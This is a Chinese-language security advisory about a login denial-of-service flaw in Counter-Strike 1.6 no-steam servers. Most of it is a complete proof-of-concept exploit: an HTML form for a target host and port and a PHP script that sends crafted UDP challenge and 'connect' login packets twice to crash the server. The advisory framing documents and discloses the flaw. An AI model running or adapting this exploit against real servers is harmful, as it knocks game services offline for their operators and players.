Half-Life Counter-Strike登录拒绝服务漏洞
漏洞消息时间:2008-01-07漏洞起因
异常条件处理失败错误
影响系统
Valve Software Half-Life Counter-Strike 1.6
不受影响系统
危害
远程攻击者可以利用漏洞对应用程序进行拒绝服务攻击。
攻击所需条件
攻击者必须访问Half-Life Counter-Strike。
漏洞信息
Half-Life Counter-Strike是一款流行的即时射击游戏。
Half-Life Counter-Strike不正确处理登录请求，远程攻击者可以利用漏洞对应用程序进行拒绝服务攻击。
提交恶意登录请求可触发此漏洞。
测试方法
----
Counter Strike 1.6 Denial Of Service POC
Eugene Minaev underwater@itdefence.ru
Bug was found by Maxim Suhanov ( THE FUF )
works only with no-steam servers
___________________________________________________________________
____/__ __ _______________________ ______________________ \\ / .\//_// // / \ \/ __ \ /__/ /
/ / /_// /\ / / / / /___/
\/ / / / / /\ / / /
/ / \/ / / / / /__ // \ / ____________/ / \/ __________// /__ // /
/\\ \_______/ \________________/____/2007 /_//_/ // // \ \\ // // /
.\ \\ -[ ITDEFENCE.ru Security advisory ]- // // / .
. \_\\_________________//_//_/ . .
<html>
<head>
<title>Counter Strike DOS POC (underwater@itdefence.ru) </title>
<style type="text/css">
input {
width: 150px;
}
td {
font-size: 12px;
font-family: Verdana, "Trebuchet MS";
text-align: left;
}
span.err {
color: red;
}
span.ok {
color: green;
}
</style>
</head>
<body onload="checkpass()">
<div style="width: 210px; margin: auto;">
<form name="csform" method="post" action="cs.php">
<table border="1" align="center" cellpadding="2" cellspacing="0" style="width: 100%;">
<tr>
<td style="width: 50px;">Host</td>
<td colspan="2"><input name="host" type="text" value=""/></td>
</tr>
<tr>
<td>Port</td>
<td colspan="2"><input name="port" type="text" value=""/></td>
</tr>
<tr>
<td> </td>
<td><input name="auth" type="checkbox" value="" style="width: 30px;"/></td>
<td>Auth Type 2</td>
</tr>
<tr>
<td>Pass</td>
<td colspan="2"><input name="pass" type="text" value="" /></td>
</tr>
<tr>
<td> </td>
<td colspan="2"><input type="submit" Value="Run"/></td>
</tr>
</table>
<br/>
</form>
</div>
<center>ITDEFENCE / RUSSIA (http://itdefence.ru)<br>
</body>
</html>
<?php
/*
CS-dos exploit made by underwater
Bug was discovered by .FUF
Big respect 2 Sax-mmS ( for html ) , Focs ( for his cs server http://www.softoplanet.ru/style_emoticons/default/biggrin.gif ) , SkvoznoY , Bug(O)R,Antichat.ru and Cup.su
*/
ini_set("display_errors","0");
function HELLO_PACKET()
{
$packet = pack("H*","FFFFFFFF");
$packet .= "TSource Engine Query";
$packet .= pack("H*","00");
return $packet;
}
function CHALLENGE_PACKET()
{
$packet = pack("H*","FFFFFFFF");
$packet .= "getchallenge valve";
$packet .= pack("H*","00");
return $packet;
}
function LOGIN_PACKET_4()
{
global $cookie;
global $password;
$packet = pack("H*","FFFFFFFF");
$packet .= "connect 47 ";
$packet .= $cookie.' "';
$packet .= '\prot\4\unique\-1\raw\valve\cdkey\d506d189cf551620a70277a3d2c55bb2" "';
$packet .= '\_cl_autowepswitch\1\bottomcolor\6\cl_dlmax\128\cl_lc\1\cl_lw\1\cl_updaterate\30\mod';
$packet .= 'el\gordon\name\Born to be pig (..)\topcolor\30\_vgui_menus\1\_ah\1\rate\3500\*fid\0\pass';
$packet .= 'word\\'.$password;
$packet .= pack("H*","220A0000EE02");
return $packet;
}
function LOGIN_PACKET_2()
{
global $cookie;
global $password;
$packet = pack("H*","FFFFFFFF");
$packet .= "connect 47 ";
$packet .= $cookie.' "';
$packet .= '\prot\2\raw\d506d189cf551620a70277a3d2c55bb2" "\_cl_autowepswitch\1\bott';
$packet .= 'omcolor\6\cl_dlmax\128\cl_lc\1\cl_lw\1\cl_updaterate\30\model\gordon\nam';
$packet .= 'e\Born to be pig (..)\topcolor\30\_vgui_menus\1\_ah\1\rate\3500\*fid\0\pass';
$packet .= 'word\\'.$password;
$packet .= pack("H*","22");
return $packet;
}
function dowork($host,$port,$password,$auth)
{
global $password;
global $cookie;
# connecting to target host
$fsock = fsockopen("udp://".$host,(int) $port,$errnum,$errstr,2);
if (!$fsock) die ($errstr);
else
{
# sending hello packet
fwrite ($fsock,HELLO_PACKET());
fread ($fsock,100);
# sending chalennge packet
fwrite ($fsock,CHALLENGE_PACKET());
# recieving cookies
$resp = fread($fsock,100);
# grab cookies from packet
$cookie = substr($resp,strpos($resp,"A00000000")+10);
$cookie = substr($cookie,0,strpos($cookie," "));
# sending login packet
if (!$auth) fwrite ( $fsock,LOGIN_PACKET_4());else fwrite ( $fsock,LOGIN_PACKET_2());
$resp = fread($fsock,100);
}
}
IF (isset($_POST['host']) && isset($_POST['port']))
{
IF (empty($_POST['pass'])) $password = "123";
else $password = $_POST['pass'];
$fserver = $_POST['host'];
$fport = $_POST['port'];
if (isset($_POST['auth'])) $fauth = true;else $fauth=false;
# we have to connect 2 times
$result = dowork($fserver,$fport,$password,$fauth);
$result = dowork($fserver,$fport,$password,$fauth);
# parsing result
echo "Exploit Sent";
}
?>
----[ FROM RUSSIA WITH LOVE :: underWHAT?! , gemaglabin ]
厂商解决方案
目前没有解决方案提供：
http://www.valvesoftware.com/games.html
漏洞提供者
Maxim Suhanov
漏洞消息链接
http://www.securityfocus.com/bid/27159
漏洞消息标题
Half-Life Counter-Strike Login Denial of Service Vulnerability
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